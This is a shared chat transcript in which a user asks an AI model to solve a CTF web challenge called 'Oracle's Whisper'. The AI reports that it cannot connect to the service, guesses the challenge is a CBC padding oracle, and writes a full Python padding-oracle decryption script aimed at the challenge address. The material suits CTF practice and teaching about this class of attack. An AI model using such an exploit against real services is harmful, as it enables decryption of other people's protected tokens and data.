Oracle's Whisper 150 作者:Riddler 0 solves 深处的神谕只对懂...

创建于:2026年5月10日

使用 GPT-5.5 Thinking 回答 Chat01

问题

Oracle's Whisper
150
作者:Riddler
0 solves

深处的神谕只对懂得低语的人开口。每一次错误的祷文,都让她吐露一个字节的秘密。
题目地址:39.105.213.28:12605 做这个ctf-web,解flag

思考

undefined

思考

undefined

思考

目前有个阻碍:我的运行环境对外部 TCP 连接会立即拒绝,连 1.1.1.1:80 也一样,所以没法真实打开题目网页或跑交互爆破。这不一定说明靶机挂了;我先按题面提示把可落地的攻击脚本整理出来。

Thought for 1m 39s

回答

我这边没法直接拿到 flag:运行环境对外部 TCP 连接会立即拒绝,39.105.213.28:12605、甚至 1.1.1.1:80 都是 ConnectionRefusedError,所以无法真实访问题目服务、拿首页/密文/返回包。公开搜索也只看到同题页面,没有可用 writeup 或 flag。(chat01.ai)

从题面看,核心大概率是 CBC Padding Oracle

Oracle / 神谕
错误的祷文 / invalid payload
吐露一个字节的秘密 / 每次 padding 错误反馈可恢复 1 byte

下面这份脚本是通用 padding oracle 解密器。你需要先在本地跑:

bash
curl -sv http://39.105.213.28:12605/ 2>&1 | tee page.txt

拿到服务给的 token/密文后,把 TOKEN_HEXoracle() 里的请求方式按页面改一下。

python
#!/usr/bin/env python3 import requests URL = "http://39.105.213.28:12605/" BLOCK = 16 # 填 IV + ciphertext 的 hex;若 IV 单独显示,就拼成 IV + CIPHERTEXT TOKEN_HEX = "PUT_IV_PLUS_CIPHERTEXT_HEX_HERE" BAD_MARKERS = [ "padding", "invalid", "error", "wrong", "bad", "fail", "错误", "失败", "无效", ] def oracle(payload: bytes) -> bool: h = payload.hex() # 常见情况 1:GET 参数 r = requests.get(URL, params={"token": h}, timeout=5) # 常见情况 2:POST 表单;若题目页面是 form,把上面一行换成这个: # r = requests.post(URL, data={"token": h}, timeout=5) # 常见情况 3:cookie;若密文在 cookie,把上面一行换成这个: # r = requests.get(URL, cookies={"session": h}, timeout=5) text = r.text.lower() # 返回中出现错误关键词 => padding 无效 if any(m.lower() in text for m in BAD_MARKERS): return False # 或者按状态码判断,视题目实际返回改: # return r.status_code != 500 return True def decrypt_block(prev: bytes, cur: bytes) -> bytes: intermediate = [0] * BLOCK plain = [0] * BLOCK for pos in range(BLOCK - 1, -1, -1): pad = BLOCK - pos forged = bytearray(prev) for j in range(pos + 1, BLOCK): forged[j] = intermediate[j] ^ pad for g in range(256): forged[pos] = g test = bytes(forged) + cur if oracle(test): intermediate[pos] = g ^ pad plain[pos] = intermediate[pos] ^ prev[pos] print(f"[+] pos={pos:02d} byte=0x{plain[pos]:02x} char={chr(plain[pos])!r}") break else: raise RuntimeError(f"byte {pos} not found") return bytes(plain) def pkcs7_unpad(data: bytes) -> bytes: p = data[-1] if 1 <= p <= BLOCK and data.endswith(bytes([p]) * p): return data[:-p] return data def main(): raw = bytes.fromhex(TOKEN_HEX.strip()) assert len(raw) % BLOCK == 0, "token 长度必须是 16 字节倍数" blocks = [raw[i:i + BLOCK] for i in range(0, len(raw), BLOCK)] plaintext = b"" for i in range(1, len(blocks)): print(f"[*] decrypt block {i}/{len(blocks)-1}") plaintext += decrypt_block(blocks[i - 1], blocks[i]) print("\n[+] plaintext:") print(pkcs7_unpad(plaintext)) print(pkcs7_unpad(plaintext).decode(errors="replace")) if __name__ == "__main__": main()

关键改动点只有两个:

python
TOKEN_HEX = "..."

以及:

python
r = requests.get(URL, params={"token": h}, timeout=5)

这里的 token 可能实际叫 prayercipherdatasession 等,要看首页表单或请求包。

curl -sv http://39.105.213.28:12605/ 的完整输出贴出来,我可以直接把 oracle() 改成匹配题目协议的版本,并继续推 flag。

问题

page.txt

你看

分享这个问答